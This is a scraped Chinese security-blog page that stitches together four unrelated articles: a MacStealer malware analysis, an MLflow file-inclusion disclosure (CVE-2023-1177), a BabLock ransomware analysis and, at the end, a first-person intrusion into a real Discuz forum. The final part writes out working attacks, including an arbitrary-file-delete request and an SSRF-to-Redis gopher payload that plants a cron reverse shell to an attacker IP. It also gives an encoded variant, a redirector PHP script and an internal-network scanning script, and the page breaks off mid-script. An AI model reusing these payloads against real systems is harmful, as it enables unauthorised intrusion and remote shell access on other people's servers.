Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863111028

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

趨勢科技的研究人員檢測到Mac惡意軟件MacStealer通過網站、社交媒體和消息平台Twitter、Discord和Telegram大肆傳播。 MacStealer,是使用Telegram 作為命令和控制(C2) 平台來竊取數據的最新威脅示例。它主要影響運行macOS 版本Catalina 以及之後運行在M1 和M2 CPU 上的設備。現在該惡意程序又有了新的傳播途徑,攻擊者通過假冒合法的遊戲賺錢(P2E)應用程序的圖片,引誘受害者下載它。 P2E是Play-to-earn 的縮寫,允許玩家通過玩遊戲來產生穩定的加密收入。每個遊戲的機制可能不同,但獎勵通常來自質押、刷遊戲幣或生成可交易的NFT物品。

趨勢科技的研究人員最近分析了一種名為MacStealer的Mac惡意軟件(檢測為TrojanSpy.MacOS.CpypwdStealer.A),這是一種加密貨幣錢包和信息竊取程序,偽裝成合法遊戲賺錢(P2E)遊戲應用程。研究人員已經發現MacStealer的源代碼已經通過在線公共掃描服務洩露。該惡意軟件目前通過第三方網站傳播,使用從真實P2E應用程序中竊取的圖像和圖形,並在社交媒體和消息平台Twitter、Discord和Telegram上傳播。惡意軟件背後的攻擊者會偽裝成一家合法的遊戲公司,尋找測試人員,並吸引潛在的受害者下載他們的應用程序。

引誘新玩家與其他在感染設備的同時重定向用戶的假冒應用程序不同,攻擊者沒有假裝創建遊戲,只是從現有的P2E中復制。 Twitter賬戶和網站只是吸引用戶下載MacStealer的幌子。一旦惡意軟件執行,用戶就會在GUI提示中輸入各自的密碼,存儲在設備中的特定信息就會被竊取。

研究人員的傳感器在例行檢查中檢測到了高危示例進行分析,經過仔細檢查,發現worldofcretures[.]io網站與示例有關,該網站在Twitter上得到了大肆傳播。

檢查該網站後台發現假冒應用程序的頁面是在2023年1月才創建的,所有的圖形和文本都是直接從另一個P2E應用程序的網站上獲取的。這款假冒應用程序的推特頁面圖像也直接取自合法應用程序的社交媒體頁面,於2022年10月創建,與2021創建的合法應用程序帳戶相比,這是相對較新的。不知情的受害者可能沒有聽說過這款遊戲,他們很容易將假冒頁面誤認為是合法應用程序的原始遊戲和官方社交媒體賬號。

1.png

真實遊戲的網頁(上)和假冒遊戲的網頁(下)

這些網站在很多方面都有所不同(例如圖形、名稱和公司),如果感興趣的用戶知道這些細節,這些網站仍然可以識別。社交媒體帖子包括下載該應用程序的促銷活動,讓新玩家似乎只要連接到Discord渠道並下載遊戲就可以獲得免費贈品。一旦用戶加入攻擊者的渠道,攻擊者就會通過聊天說服用戶點擊惡意鏈接或下載惡意軟件文件。

2.png

假冒應用程序的帖子示例,用於重定向潛在受害者,並在Discord上“下載”遊戲

技術細節一旦受害者下載了遊戲,一個名為LauncherMacOS的.dmg文件,dmg(SHA256:8ea33c34645778b79dd8bb7dcf01a8ad1c79e7ada3fd61aca397ed0a2a57276,被Trend Micro檢測為TrojanSpy.MacOS.CypwdStealer.A)在系統中執行。簽名如下:

3.png

特別簽名在ARM64 M1蘋果處理器上尤為重要。它要求所有本機代碼都有有效的簽名(如果只是臨時的),否則操作系統將不會執行它。相反,它會在啟動時阻止本機代碼。

在檢查dmg中的應用程序包時,研究人員觀察到它包含以下使用Python編譯器Nuitka編譯的Mach-O二進製文件:

啟動器(SHA256:5e8f37420efb738a820e70b55a6b6a669222f03e4a8a408a7d4306b3257e12ff,被Trend Micro檢測為TrojanSpy.MacOS.CpypodStealer.A)Nuitka是一個不常見的編譯器,在測試過程中,主要的Mach-O顯示出可疑的網絡活動。研究人員還注意到Nuitka可以將Python腳本編譯成Mach-O二進製文件。

4.png

DMG示例的應用程序捆綁內容

程序本身分為兩個階段。第一個階段是Nuitka引導程序的執行。就其本身而言,邏輯本身是無害的,但會將惡意負載釋放到目標路徑,而第二階段是執行惡意負載。

惡意軟件的第一階段實現以下例程:

1.它從一個名為“有效載荷”的特殊部分讀取內容。

5.png

由惡意軟件二進製文件提取的部分

2. 它將內容寫入路徑為

6.png

第二階段Mach-O二進製文件釋放到系統上

3.它將環境變量NUITKA_ONEFILE_PARENT更改為當前進程號。

4.它執行提取內容的主要可執行文件,並清理引導版本本身。

第二階段可執行文件是一個基於CPython實現的程序,該程序由Nuitka從Python編譯而成。在編譯過程中,編譯器會清除部分信息以提高程序的執行效率,而Nuitka轉換的Python代碼完全清除了原始字節碼,無法恢復。由於不可逆的編譯過程,研究人員無法從Python源代碼的角度對其進行分析,但函數名稱和動態行為日誌提供了大量信息。

1.它試圖從以下錢包中竊取數據:

Binance

Exodus

Keplr

Metamask

Phantom

Trust wallet

7.png

用於竊取錢包數據的函數

2.它試圖竊取瀏覽器數據和密鑰鏈。在測試過程中,研究人員在系統上使用以下命令發現了該示例,用於文件/目錄發現和系統信息收集:

/bin/sh -c uname -p 2 dev/null

/bin/sh -c security default-keychain

8.png

用於竊取鑰匙鍊和錢包數據的函數

3.它使用chainbreaker轉儲鑰匙鏈。

4.彈出對話框,使用osascript騙取用戶密碼,命令如下:

9.png

對話框標題為“系統首選項”,圖標警告默認答案為“隱藏答案”。

10.png

獲取受害者密碼的對話框

5.它試圖將收集到的信息以Zip文件的形式發送到命令與控制(CC)服務器mac[.]cracked23[.]網站。

11.png

洩露數據的網絡數據包(頂部)和Zip文件的內容

12.png

發送到CC服務器的general_info.txt文件的內容

一旦下載並在受害者的系統中運行,MacStealer就會竊取受害者的錢包數據,並清空加密貨幣錢包。如果受害者沒有加密貨幣錢包,惡意軟件就會竊取用戶信息和鑰匙鏈。

通過社交媒體和其他平台傳播在掃描其他社交媒體帖子時,研究人員發現了攻擊者嘗試傳播MacStealer惡意軟件的努力。考慮到使用的戰術、技術和過程(TTP)是相似的,這個示例和部署可能是一個組織完成的。在本節中,我們以Impulse Flow假冒應用程序為例。

攻擊者創建一個Twitter賬戶和相關網站來宣傳假冒的遊戲應用。以下是一個帶有驗證圖標的Twitter賬戶示例。然後,他們將游戲宣傳為基於區塊鏈技術的免費P2E在線遊戲。

有一個鏈接樹鏈接,其中包含到他們其他通道的鏈接,Linktree 是一家在線工具平台,可以讓你在社交媒體上展示自己或品牌的多個網站鏈接。 Linktree 的主要業務是提供一個簡單易用的工具,讓用戶能夠在Instagram、TikTok、Twitter 等社交媒體上分享多個鏈接,從而幫助他們更好地展示自己或品牌,增加流量、轉化率和銷售額,其中包含指向其他渠道的鏈接:

Website: https[:]//play-impulseflow[.]com/

Website: https[:]//impulse-flow[.]gitbook[.]io/impulse_flow-whitepaper/

Website: https[:]//github[.]com/ImpulseFlowBeta/1[.]0[.]3

Discord: https[:]//discord[.]gg/Impulse-flow

Twitter: https[:]//twitter[.]com/lmpulse_Flow

Telegram: https[:]//t[.]me/impulseflow_official

圖片搜索查詢顯示,推特和其他社交媒體賬戶中使用的媒體(圖片和視頻)抄襲了遊戲《余烬之剑》 (EmberSword)。 Ember Sword是一個多資產的虛擬經濟遊戲,其主要功能是支持用戶社區購買,出售和使用遊戲專屬虛擬資產。在Ember Sword中,用戶可以購買,出售和發行各種遊戲幣和令牌,包括經典貨幣,裝備,材料和其他供玩家交易的內容,這種內容可以用來升級角色,改善遊戲內的經濟秩序,以及豐富遊戲體驗。攻擊者利用這些平台誘使潛在受害者執行惡意軟件可執行文件。所觀察到的一些方法如下:

1.他們將其宣傳為一款公測遊戲,並吸引人們參與他們的測試計劃以換取獎勵。這些測試人員被邀請加入攻擊者的Discord或Telegram渠道,在那裡他們會得到惡意軟件二進製文件或下載惡意軟件二進製文件的鏈接。在某些情況下,鏈接或文件將需要密碼,他們通過Discord或Telegram渠道接收:https[://]twitter.com/lmpulse_Flow/status/1633735911782400000。

13.png

輸入密鑰可以讓潛在的受害者下載MacStealer惡意軟件二進製文件

2.他們直接向內容創造者傳達信息,幫助他們推廣遊戲。這被懷疑是一種針對這些有影響力的人的社會工程策略。

https[://]twitter.com/powrdragn/status/1638024217412390913

https[://]twitter.com/ender_thien/status/1637659072379101185

https[://]twitter.com/naerycrypto/status/1637226997817692161

https[://]twitter.com/CiervoKing/status/1637220583736762370

3.他們發布虛假的職位空缺,並引誘求職者下載他們的惡意軟件二進製文件:https://twitter.com/witty_taeil/status/s1631654308218298368。

14.png

一些人在推特賬戶上發布了關於與假冒遊戲應用程序和網站相關的惡意活動的警告。

15.png

一些用戶據稱是MacStealer惡意軟件的受害者

總結雖然P2E遊戲並不新鮮,但它正在重新引起人們的興趣,越來越受歡迎,而攻擊者也在努力利用這一不斷增長的趨勢。 MacStealer惡意軟件只是眾多利用P2E吸引力的惡意軟件之一。 P2E遊戲玩家最適合成為攻擊目標,因為這些遊戲的經濟模式要求他們使用加密貨幣和錢包。

安全研究人員可以發現,考慮到攻擊者使用Discord和Telegram直接與受害者溝通,使用不常見的手段傳播惡意軟件,調查分析惡意軟件並不容易。

該惡意軟件似乎並不復雜,由於原始代碼是Python腳本,因此使用它只需較低的技能。考慮到原始代碼是使用Nuitka編譯成Mach-O二進製文件的Python腳本,儘管這會使反編譯變得困難,因此其本身並不復雜。這對分析師來說可能很難進行逆向工程,因為儘管它很簡單,但使用Nuitka編譯Mach-O二進製文件表明,對一個好目標進行適當的攻擊可以獲得巨大的回報。在這種情況下,他們針對的是經常使用加密錢包的P2E遊戲玩家。攻擊者收集的大部分利潤來自通過社交工程技術竊取的加密貨幣,將惡意軟件發送到用戶的設備(即網站、Twitter賬戶和其他相關渠道)。

Discord為各種目的提供渠道,其中包括P2E遊戲和用戶。作為一個逐漸成為玩家交換信息的平台,在Discord中下載鏈接以訪問遊戲——無論是作為用戶還是測試人員——可能不會立即在受害者中引發危險信號。這也增加了攻擊者選擇該平台傳播惡意軟件的可能性。然而,一名受害者指出,攻擊者的渠道明顯缺乏互動,並將這些細節標記為對其他人的警告。其他用戶警告稱,只要他們要求截屏或發布警告推文,他們就會立即被這些渠道封殺。

此外,由於最近Twitter所有權的中斷和賬戶驗證政策的變化,攻擊者似乎濫用它來輕鬆獲得一個經過驗證的賬戶。這提供了一種合法性的假象,以提高假冒應用程序和賬戶的社交工程能力。使用這種技術也可以很容易地在TikTok、YouTube和Facebook等其他平台上宣傳。

為了避免和防禦像MacStealer這樣的威脅,研究人員強烈建議謹慎安裝來自非官方來源和應用程序平台的應用程序。為設備啟用最新的安全解決方案還可以幫助檢測、阻止和緩解這類威脅的風險。

CVE-2023-1177:MLflow中的LFI/RFILFI/RFI導致系統和雲帳戶被接管

所有CVE在版本2.2.2中已經被修復

已發布了漏洞利用工具和掃描工具

機器學習系統領域最流行的工具之一是MLflow(月下載量超過1300萬人次,且這個數字還在增長),它用於管理端到端機器學習生命週期。

Protect AI測試了MLflow的安全性,結果發現了一個混合型的本地文件包含/遠程文件包含(LFI/RFI)漏洞,可能導致整個系統或云提供商被人接管。強烈建議運行MLflow服務器的組織立即更新到最新版本,或者至少更新到2.2.2版本。版本2.2.1修復了CVE-2023-1177,版本2.2.2修復了CVE-2023-1176。我們在本博文中探討了該漏洞的影響、如何檢測它,以及我們發現這個嚴重漏洞的過程。如果你正在運行MLflow,請使用本博文中提供的免費工具,立即開始修補系統。使用傳統工具給系統打補丁可能是一個挑戰,因為許多自動化補丁管理系統並不枚舉或識別MLflow,就算枚舉或識別,可能也不會執行版本檢查。

立即升級到MLflow的最新版本非常重要,哪怕你的實例不在生產環境中,只在開發環境中使用。

影響如果利用該漏洞,未經身份驗證的遠程攻擊者可以讀取啟動了MLflow服務器的用戶可以訪問的這台服務器上的任何文件。

可以通過從MLflow服務器獲取私有SSH密鑰或云服務提供商憑據來獲得遠程代碼執行的機會。這讓攻擊者得以遠程登錄到服務器或云資源,並利用找到的憑據擁有的相應權限執行任意代碼。

漏洞細節不需要用戶交互。

不需要事先了解環境。

MLflow的所有自定義配置都易受攻擊,包括開箱即用的安裝環境。

MLflow 2.1.1之前的所有版本都容易受到LFI的攻擊。

漏洞利用工具適用於從MLflow v1.12到v2.1.1的所有版本。

MLflow 2.0之前的所有版本都容易受到LFI的攻擊,只需通過更簡單地利用:http://

MLflow維護者迅速響應了負責任披露的這個漏洞,在短短幾週內交付了修復程序。 MLflow 2.1.1之後的版本不再容易受到攻擊。

漏洞檢測若要檢查你的MLflow服務器是否容易受到攻擊,請使用我們的免費CVE-2023-117-scanner掃描工具(https://github.com/protectai/Snaike-MLflow)。

發現過程我們先安裝了MLflow,啟動攔截代理BurpSuite以攔截所有MLflow API調用,運行用數據填充MLflow的實驗,然後啟動UI服務器作進一步探索。

# Download MLflow source to get access to their example runs

git clone https://github.com/mlflow/mlflow

# Create and enter new directory outside the mlflow/directory

mkdir mlflowui

cd mlflowui

# Copy the example code from the MLflow source into this new directory

cp -r ./mlflow/examples/sklearn_elasticnet_wine .

# Setup a virtual environment for installing requirements

python3 -m venv venv

source venv/bin/activate

# Install mlflow in this virtual environment

pip install mlflow pandas

# Run the example experiment

mlflow run --env-manager=local sklearn_elasticnet_wine -P alpha=0.5

# Run the UI to see the experiment details

mlflow ui --host 127.0.0.1:8000

在創建實驗時,它給了我們指定存儲對象的目錄這一選項。這似乎是一個可配置的文件路徑,我們可以通過運行的示例實驗就可以看到:

1.png

圖1

這立即引起了我們的注意,因為這需要完美地實施過濾機制,以防止本地文件包含或任意文件覆蓋。然而,你無法從UI遠程運行MLflow實驗。由於當你通過UI創建實驗時,工件位置實際上沒有發生任何變化,因此這裡沒有任何安全考慮。然後,我們通過點擊單趟實驗運行繼續探索。

2.png

圖2

點擊上圖所示的運行名稱,將我們帶到實驗運行細節,在這裡我們可以看到實驗涉及的文件,並下載文件,如下圖所示。

在這裡,我們在工件文件中看到了一個很大的“Register Model”(註冊模型)按鈕。我們很好奇。

3.png

圖3

4.png

圖4

它似乎不是什麼特別值得關注的對象,因為它只是彈出一個模式,讓你選擇模型,然後將該模型的詳細信息保存為“Version 1”(版本1)。

5.png

圖5

但是底層到底發生了什麼?為此我們檢查了BurpSuite。

6.png

圖6

我們發現了在UI中並沒有顯示的另一個協議和文件路徑輸入。這似乎很可疑。我們將它手動更改為用戶的私有SSH密鑰:file: ///Users/danmcinerney/. ssh/id_rsa。訪問該文件將允許你以啟動了MLflow服務器的用戶的身份遠程登錄到MLflow主機。

7.png

圖7

新的source在響應中有所體現,這通常表明服務器端出現了變化。我們很想知道這實現了什麼操作,於是回過頭去查看已註冊的模型細節。實驗中沒有什麼運行工件,模型細節或模型版本細節中也沒有值得關注的對象。這似乎是另一條死胡同,類似我們發現你可以將實驗工件路徑指向任意位置,但UI隨後不讓你任何操作。然而在檢查BurpSuite請求和響應日誌後,我們發現了一些值得關注的異常。

攻擊者現在擁有訪問權

8.png

圖8

get-artifact API調用中的“500內部服務器錯誤”讓我們感到可疑。在安全測試的早期,get-artifact API調用值得注意,因為它是從工件存儲庫返回文件數據的調用。這是你從實驗運行下載模型的方法,我們發現它受到了一個防止本地文件包含漏洞的函數的保護,如下所示。

9.png

圖9

我們花了一些時間試圖繞過這個,但沒有成功。這個特殊的get-artifact調用的不同之處在於,它不是試圖從子文件夾獲取文件,而是直接訪問文件名。此外,它實際上不是同一個API調用。下面是記入文檔的get-artifact REST API調用:

10.png

圖10

下面是類似的model-version/get-artifact調用:

11.png

圖11

區別包括URL路徑、參數和值。這顯然不是同一個API調用。

我們注意到這個API調用不在說明文檔中。關鍵區別在於,它通過path URL參數直接查找文件名,而不是通過合法的get-artifact API調用中的相對文件路徑來查找。

這就意味著LFI防護機制並不存在,因為不需要執行目錄遍歷。只需要控制源文件夾的位置。在上面的幾個步驟中,當我們創建一個新的模型版本時,嘗試將API請求的source路徑位置修改為:file:///Users/danmcinerney/.ssh/id_rsa:

12.png

圖12

我們應該做的是將source位置更改為文件夾而不是更改為文件。我們糾正了這一點。

13.png

圖13

隨後我們重新發送了發現的這個未記入文檔的REST API調用,並將其指向id_rsa,這是新模型版本source位置中的文件以及提供遠程登錄服務器功能的私有SSH密鑰。

14.png

圖14

使用檢索到的SSH密鑰,我們就可以通過終端訪問運行MLflow服務器的主機。 MLflow最常被配置為使用S3存儲桶作為工件存儲區。如果是這種情況,那麼機器上另一個價值非常高的目標將是~/.aws/credentials文件,可想而知該文件存儲的是AWS憑據。

其他高價值目標可能包括包含明文密碼的Web服務器SQL配置文件或包含所有用戶密碼散列的/etc/shadow,這些用戶密碼散列可以通過hashcat之類的工具來破解。

漏洞利用工具為了幫助保護你的系統,我們創建了一個簡單的工具來發現潛在漏洞,這個工具名為MLFIflow.py(https://github.com/protectai/Snaike-MLflow)。

安裝git clone https://github.com/protectai/Snaike-MLflow

cd Snaike-MLflow/MLFIflow

python3 -m venv mlfiflow

source mlfiflow/bin/activate

pip install -r requirements.txt

使用默認情況下,MLFIflow將嘗試從MLflow服務器讀取/etc/passwd,並使用找到的用戶名搜索SSH密鑰和雲憑據文件:

python MLFIflow.py -s http://1.2.3.4:5000

若要指定待下載的文件的自定義單詞列表,使用-f標誌:

python MLFIflow.py -s http://1.2.3.4:5000 -f /path/to/wordlist.txt

本文會分析一種名為BabLock(又名Rorschach)的勒索軟件,它與LockBit有許多共同的特點。

最近,一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動,該軟件使用的技術非常有創新性。雖然主要基於LockBit,但也汲取了其他不同勒索軟件部分的功能,並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。

我們會在本文中詳細介紹它的攻擊鏈,並分析其可能的起源。

發現過程2022年6月,研究人員發現了一個勒索軟件(後來被證明是BabLock),它使用了一種獨特的附加擴展方式,而不是勒索軟件攻擊中通常使用的“一個樣本,一個擴展”方法,我們發現,攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此,即使在一台受感染的計算機上,一次執行也可能產生多個擴展變體。

1.png

該勒索軟件的獨特特徵是顯示擴展的數值增量

調查發現,勒索軟件總是以多組件包的形式部署,主要由以下文件組成:

加密的勒索軟件文件config.ini;

惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器);

用於加載惡意DLL的非惡意可執行文件;

使用正確密碼執行非惡意二進製文件的CMD文件。

2.png

在一個感染實例中發現的主要勒索軟件包

DarkLoader DLL將檢查特定的命令,特別是--run,它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大,但如果提供正確,DLL將執行基本的勒索軟件例程。

3.png

如果在命令行中添加了正確的密碼,勒索軟件將繼續進行整個加密過程

一旦DLL組件被非惡意可執行文件加載,它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它,DLL將解密config.ini,然後用一組特定的命令行執行notepad.exe。

在這個異常的活動中,研究人員發現了一些顯著且一致的模式:

主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送;

DarkLoader是通過使用合法可執行文件的DLL側加載來執行的;

config.ini文件由專門為這些活動設計的自定義加載程序解密(檢測為Trojan.Win64.DarkLoader);

在同一受感染的計算機中,BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數(例如,extn00-extn99作為同一感染中的擴展名);

任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini,不需要特定的二進製配對。

DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用,以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。

BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。

針對不同攻擊的密碼有幾種變體,但它們都在一定的範圍內。

4.png

提供給notepad.exe的命令行參數,用於在最近的攻擊中加載和執行勒索軟件

5.png

DLL使用幾個直接的SysCall指令來避免API讀取

6.png

notepad.exe文件被注入到RtlTestBit的API調用線程中,該線程已被修復/掛起以跳轉到惡意例程

精妙的攻擊技術在2022年6月首次發現BabLock時,研究人員搜索了類似的文件,發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後,研究人員想弄清楚它是如何逃避檢測這麼長時間的。

自2022年6月以來,只有少數幾起涉及該勒索軟件的記錄事件,包括最近的一起。由於數量較少,截至撰寫本文時,還沒有涉及地區、行業或受害者資料的統計數據。

7.png

BabLock勒索軟件相關事件

然而,由於其顯著特徵,與BabLock相關的攻擊可以很容易地識別。如上所述,在每次文件加密後,勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串,這導致相同的勒索軟件擴展多達100種不同的變體。

8.png

顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段

它還有一個相當複雜的執行例程:

它使用特定的數字代碼來正確執行;

它將包拆分為多個組件;

它將實際有效負載拆解並隱藏到加密文件中;

它使用普通應用程序作為加載程序;

最後,BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下:

Chisel-傳輸控制協議(TCP)和用戶數據報協議(UDP)通道;

Fscan-一個掃描工具;

通過使用這兩個工具,再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit,攻擊者可以毫不費力地在網絡中翱翔。

BabLock與LockBit等勒索軟件的異同根據調查,BabLock使用的大多數例程與Lockbit(2.0)的關係密切。除此之外,它還與Babuk、Yanloowang等勒索軟件存在相似之處。

最初,由於勒索通知的相似性,我們懷疑它與DarkSide勒索軟件有關。然而,與DarkSide勒索軟件不同,BabLock通過執行以下命令行來刪除卷影副本:

9.png

因此,研究人員立即排除了這種關係,因為它不同於DarkSide的操作,即通過Windows Management Instrumentation(WMI)和PowerShell刪除卷影副本(這在技術上更複雜,很難通過標準監控工具檢測到)。

10.png

勒索軟件二進製文件解密並執行命令行以刪除卷影副本

Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣,使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程(儘管也是許多現代勒索軟件的常見例程)。儘管如此,這種相似之處還是不可思議的。此外,它運行相同的命令來為AD執行GPUpdate。因此,該勒索軟件的檢測仍屬於LockBit家族。

11.png

將BabLock生成桌面放置路徑的組策略(左)與LockBit的組策略進行比較(右)

BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。

12.png

BabLock與其他勒索軟件家族的相似之處

總結研究人員發現BabLock時已經是其第三個迭代版了。然而,由於其大部分結構仍然類似於Lockbit v2.0,我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來,即使在最近的攻擊中,研究人員也沒有發現BabLock的有效負載發生任何變化,這進一步說明它與實際的LockBit組織既沒有聯繫。據分析,BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能,並添加了不同勒索軟件家族功能,以創建他們自己的獨特變體,這些變體可能在未來進一步增強。

安全建議如下:

對資產和數據進行盤點;

識別授權和未經授權的設備和軟件;

審計事件和事件日誌;

管理硬件和軟件配置;

僅在必要時授予員工角色的管理權限和訪問權限;

監控網絡端口、協議和服務;

建立只執行合法應用程序的軟件許可列表;

實施數據保護、備份和恢復措施;

啟用多因素身份驗證(MFA);

將最新版本的安全解決方案部署到系統的所有層,包括電子郵件、端點、web和網絡;

注意攻擊的早期跡象,例如係統中存在可疑工具;

實施多方面的方法可以幫助組織保護其係統(如端點、電子郵件、web和網絡)的潛在入口點。

主站注册可以发现jsp和php后缀共存,应该是不同路由反代了不同的中间件,找不到啥漏洞。

Image

论坛是Discuz! X3.2

Image

发现Discuz急诊箱。

Image

admin.php 403,uc_server和急诊箱均无弱密码。

在《渗透某盗版游戏网站》中我介绍了Discuz后台有什么漏洞,那么前台漏洞呢?主要有任意文件删除,SSRF,uc_server爆破。

首先是任意文件删除。

POST /home.php?mod=spacecp&ac=profile&op=base

birthprovince=../../../info.php

Image

然后再POST文件上去,即可删除info.php

<formaction="https://x.com/home.php?mod=spacecp&ac=profile&op=base"method="POST" enctype="multipart/form-data">    
<input type="file"name="birthprovince" id="file" />    
<input type="text"name="formhash" value="017b5107"/>     
<input type="text"name="profilesubmit" value="1"/>    
<input type="submit"value="Submit" /></from>

这个漏洞虽然危害不低,但对后续渗透没什么用,Discuz很难通过删除文件去install。

再看SSRF。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://qzf9jq.dnslog.cn/1.png[/img]&formhash=017b5107

这是一个不回显的SSRF,只能通过时间延迟来判断。

一,可直接通过http去探测内网,如果ip存活则短延迟(不管端口开没开),如果ip不存在则长延迟。

二,可以通过302跳转改变协议,ftp,dict,gopher都支持。

三,可以通过ftp协议来探测端口,如果端口开放则长延迟,如果端口关闭则短延迟。


先通过http协议访问我的VPS获取论坛的真实ip。

163.*. *.35.bc.googleusercontent.com(35.*.*.163)

然后尝试盲打本地redis(这里探测本地端口全关,认为不合理,所以直接盲打)

gopher协议攻击redis时本地测试的时候发现不需要用$声明每行命令字符串长度。

先看清晰的SSRF攻击payload

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher&ip=127.0.0.1&port=6379&data=_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i >& /dev/tcp/62.1.1.1/56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a&xx=1.png[/img]&formhash=017b5107

然后302.php?data=之间的&要url编码,data=xx=1.png的所有字符串都进行两次url编码,去bp中发包。

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=127.0.0.1%26port=6379%26data=%25%35%66%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%36%31%25%36%63%25%36%63%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%33%25%37%30%25%36%66%25%36%66%25%36%63%25%32%66%25%36%33%25%37%32%25%36%66%25%36%65%25%32%66%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%35%25%37%34%25%32%30%25%33%30%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%32%61%25%32%66%25%33%31%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%32%61%25%32%30%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%36%25%33%32%25%32%65%25%33%31%25%32%65%25%33%31%25%32%65%25%33%31%25%32%66%25%33%35%25%33%36%25%33%36%25%33%37%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%33%25%36%31%25%37%36%25%36%35%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%37%31%25%37%35%25%36%39%25%37%34%25%32%35%25%33%30%25%36%34%25%32%35%25%33%30%25%36%31%25%32%36xx=1.png[/img]&formhash=017b5107

但发现payload被Discuz自带的XSS和SQL注入的防护拦截了。

Image

因此payload只能放在VPS中写死。

<?php

$ip=$_GET['ip'];

$port=$_GET['port'];

$scheme=$_GET['s'];

$data='_flushall%0d%0aconfigset dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0aset 0"\n\n*/1 * * * * bash -i & /dev/tcp/62.1.1.1 /56670>&1\n\n"%0d%0asave%0d%0aquit%0d%0a';

header("Location:$scheme://$ip:$port/$data");

测试一下打VPS上的redis能否成功

/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip=62.1.1.1%26port=6379%26data=1.png[/img]&formhash=017b5107

Image

没问题。但实际环境中利用失败了,原因不确定,没有redis或者redis权限不够或者redis有密码都是有可能的。

开始写脚本探测内网,不过并未抱多大希望,其为谷歌云,并不一定有内网。

先生成所有内网ip的*.*.*.1的ip字典

f = open('ip.txt','w')

f.write('127.0.0.1')

f.write('localhost')

for i in range(1,256):

    ip = '192.168.'+str(i)+'.1'

    f.write(ip)

for i in range(16,32):

    for ii inrange(1,256):

        ip = '172.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

for i in range(1,256):

    for ii inrange(1,256):

        ip = '10.'+str(i)+'.'+str(ii)+'.1'

        f.write(ip)

f.close()

然后通过时间延迟来寻内网ip段,这里由于ip不通的延迟长达7s以上,所以一定要用多线程才能跑完。由于探测ip是否存在任何协议都可以,所以干脆直接使用gopher攻击redis的payload,万一直接打中了呢。

import requests
import threading
 
def ssrf(i):
    url = 'https://x.com/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://62.1.1.1/302.php?s=gopher%26ip='+i+'%26port=6379%26data=1.png[/img]&formhash=017b5107'
    header = {"User-Agent":"Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
          "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
          "Accept-Encoding": "gzip,deflate",
          "Connection": "keep-alive"
          }
